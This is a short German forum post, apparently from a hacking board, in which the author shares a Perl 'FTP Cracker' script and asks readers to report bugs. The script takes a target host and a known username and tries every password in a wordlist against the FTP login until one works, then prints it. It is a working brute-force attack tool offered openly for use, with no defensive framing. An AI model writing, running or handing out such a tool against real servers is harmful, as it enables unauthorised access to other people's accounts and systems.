[Perl] Ftp_Cracker

Ja mir wars grad nach nem Ftp_Cracker xD
Der username muss bekannt sein, vll release ich noch einen wo man eine combowordlist verwenden kann. Bitte meldet mir Bugs wenn noch welche vorkommen

Code:

---

#!/usr/bin/perl
use Net::FTP;
use strict;
############################
#        FTP Cracker      #
#          $_staX        #
############################

my $target = shift;
my $user = shift;

open(List, "< wordlist.txt") || die("\n[ERROR]\twordlist.txt not found!\n");
foreach my $pw(<List>)
{
  chomp($pw);
  my $ftp = Net::FTP->new($target,Debug => 0,Timeout => 1) || die("\n[ERROR] Can't create FTP!\n");
    if($ftp->login($user,$pw))
    {
      $ftp->quit;
      print "\n\n[+]Passwort cracked: $pw\n";
      exit;
    }
    else
    {
      print "\n[-]Passwort wrong: $pw";
    }
 }

---